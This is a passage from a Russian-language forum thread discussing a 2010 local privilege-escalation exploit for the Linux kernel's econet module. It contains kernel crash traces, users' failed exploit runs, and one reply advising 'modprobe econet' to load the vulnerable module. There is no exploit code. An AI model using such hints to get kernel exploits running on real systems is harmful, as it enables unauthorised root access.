[36538.318663] EIP is at econet_sendmsg+0x215/0x530 [econet]
[36538.318666] EAX: cfbbdc00 EBX: e3a8be14 ECX: cfbbdc18 EDX: 00000000
[36538.318669] ESI: 00000000 EDI: e3a8a000 EBP: e3a8bd20 ESP: e3a8bc84
[36538.318673]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[36538.318677] Process a.out (pid: 3160, ti=e3a8a000 task=cb4cf230 task.ti=e3a8a000)
[36538.318680] Stack:
[36538.318682]  e3a8bcf8 00000080 ee750000 e3a8bcec 00000008 ee750000 00000080 e3a8bcf4
[36538.318691] <0> 00000080 00000000 e3a8bccc e3a8be14 e3a8bf1c 0089ccd8 e392a600 00000000
[36538.318699] <0> e3a8a000 00000088 e3a8bc90 c02193b6 00000002 00000000 00000000 e3a8bcec
[36538.318709] Call Trace:
[36538.318720]  [<c02193b6>] ? do_readv_writev+0x146/0x1b0
[36538.318728]  [<c04e7479>] ? sock_sendmsg+0xd9/0x100
[36538.318735]  [<c04e74d5>] ? kernel_sendmsg+0x35/0x50
[36538.318740]  [<c04e94d8>] ? sock_no_sendpage+0x68/0x80
[36538.318745]  [<c04e9470>] ? sock_no_sendpage+0x0/0x80
[36538.318750]  [<c04e5153>] ? kernel_sendpage+0x43/0x70
[36538.318754]  [<c04e51c2>] ? sock_sendpage+0x42/0x50
[36538.318761]  [<c0238097>] ? pipe_to_sendpage+0x87/0x90
[36538.318765]  [<c04e5180>] ? sock_sendpage+0x0/0x50
[36538.318770]  [<c02380f4>] ? splice_from_pipe_feed+0x54/0xe0
[36538.318775]  [<c0238010>] ? pipe_to_sendpage+0x0/0x90
[36538.318780]  [<c023862c>] ? __splice_from_pipe+0x5c/0x70
[36538.318784]  [<c0238010>] ? pipe_to_sendpage+0x0/0x90
[36538.318789]  [<c02386a3>] ? splice_from_pipe+0x63/0x80
[36538.318794]  [<c0238700>] ? generic_splice_sendpage+0x0/0x30
[36538.318799]  [<c0238726>] ? generic_splice_sendpage+0x26/0x30
[36538.318803]  [<c0238010>] ? pipe_to_sendpage+0x0/0x90
[36538.318808]  [<c0238f7f>] ? do_splice_from+0x5f/0x90
[36538.318813]  [<c02396e3>] ? do_splice+0xc3/0x210
[36538.318818]  [<c0226eb9>] ? do_vfs_ioctl+0x79/0x2d0
[36538.318822]  [<c0239a3d>] ? sys_splice+0xad/0xd0
[36538.318829]  [<c05c9114>] ? syscall_call+0x7/0xb
[36538.318832] Code: 55 a8 3b 43 0c 72 bf 8b 4b 18 8d 45 d8 31 d2 89 04 24 8b 45 9c 83 e1 40 e8 79 55 9e cf 85 c0 0f 84 ad 00 00 00 8b 75 a0 8d 48 18 <8b> 56 08 c7 41 18 e2 04 00 00 89 51 0c 8b 15 40 5a 7c c0 89 51
[36538.318878] EIP: [<f0b043d5>] econet_sendmsg+0x215/0x530 [econet] SS:ESP 0068:e3a8bc84
[36538.318885] CR2: 0000000000000008
[36538.318889] ---[ end trace 3fe5b430e9481b13 ]---
Ответить | Правка | ^ к родителю #33 | Наверх | Cообщить модератору

47. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 21:15 
openSUSE 11.3 – хрен там
socket(PF_ECONET, SOCK_DGRAM, 0)        = -1 EAFNOSUPPORT (Address family not supported by protocol)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

48. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Xaionaro email(ok) on 08-Дек-10, 21:36 
modprobe econet
Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

51. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от deadless on 08-Дек-10, 21:52 
насколько уязвим линукс не знает никто, но со 100% вероятностью можно сказать что дыры в нем были есть и будут. не дырявое корыто конечно, но и не бронебойная крепость. страдать от этих дыр в целом могут только всеразличные vps которые редко кто апгрейдит вовремя. Прошерстите всех наиболее популярных vps`ников, увидите наколько там ядра поросли мхом.

Почему бы Линузу не изменить концепцию и не посвятить скажем хотябы месяц в году на выявление дыр? Важнее выпекать новое ядро каждые 2 месяца чем заниматься безопастностью, да и конечно прикладывать любимые костыли начиная с RBAC и заканчивая виртуалками в виртуалках.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

53. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 08-Дек-10, 22:43 
[ken@box tmp]$ ./ex
[*] Failed to open file descriptors.
[ken@box tmp]$ uname -a
Linux box 2.6.35.9-64.fc14.i686 #1 SMP Fri Dec 3 12:35:42 UTC 2010 i686 i686 i386 GNU/Linux
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

65. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Xaionaro email(ok) on 09-Дек-10, 08:25 
Я уже устал комментировать, поясняя, что "вы просто не умеете готовить". Почитайте комментарии выше.
Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

80. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Аноним (??) on 09-Дек-10, 15:21 
может стоит поискать более интересные занятия?
Ответить | Правка | ^ к родителю #65 | Наверх | Cообщить модератору

87. "Представлен новый локальный эксплоит для Linux-ядра"  –1 +/
Сообщение от odus (ok) on 09-Дек-10, 21:15 
> может стоит поискать более интересные занятия?

ищи


Ответить | Правка | ^ к родителю #80 | Наверх | Cообщить модератору

82. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от DFX (ok) on 09-Дек-10, 17:05 
>> Эксплоит протестирован в системах Ubuntu 10.04 и 10.10 со штатными Linux-ядрами, но теоретически функционирует со всеми Linux-ядрами серии 2.6.x

мир, как всегда, в большой теоритической опасности...
всё таки после вендового детства и пачки remote exploit'ов, да ещё сразу дающих полный "админ"-доступ, всё это как-то уже и не впечатляет.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

86. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от анонимиус on 09-Дек-10, 19:46 
_реализация_ уязвимости
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

92. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от vle email(ok) on 10-Дек-10, 15:54 
У господина Торвальдса есть реальный шанс перевернуть мир IT.
Сново начать писать новую операционную систему вместе с libc
и линкером, сново с нуля, и на этот раз на безопастном языке.
Я уверен, за ним пошло бы много людей, практически с самого
старта проекта, и уже лет через 5 он стал бы вполне взрослым
промышленным проектом, но уже без проблем такого рода.
Ответить | Правка | ^ к родителю #86 | Наверх | Cообщить модератору

94. "Представлен новый локальный эксплоит для Linux-ядра"  –1 +/
Сообщение от hvosting email(??) on 11-Дек-10, 15:44 
> сново с нуля, и на этот раз на безопастном языке.

на java ?

Ответить | Правка | ^ к родителю #92 | Наверх | Cообщить модератору

95. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от vle (ok) on 12-Дек-10, 03:57 
>> сново с нуля, и на этот раз на безопастном языке.
> на java ?

Не думаю

Ответить | Правка | ^ к родителю #94 | Наверх | Cообщить модератору

97. "Представлен новый локальный эксплоит для Linux-ядра"  +/
Сообщение от Anonymouse on 18-Дек-10, 20:10 
Нашли чем хвастаться
Ответить | Правка | ^ к родителю #95 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру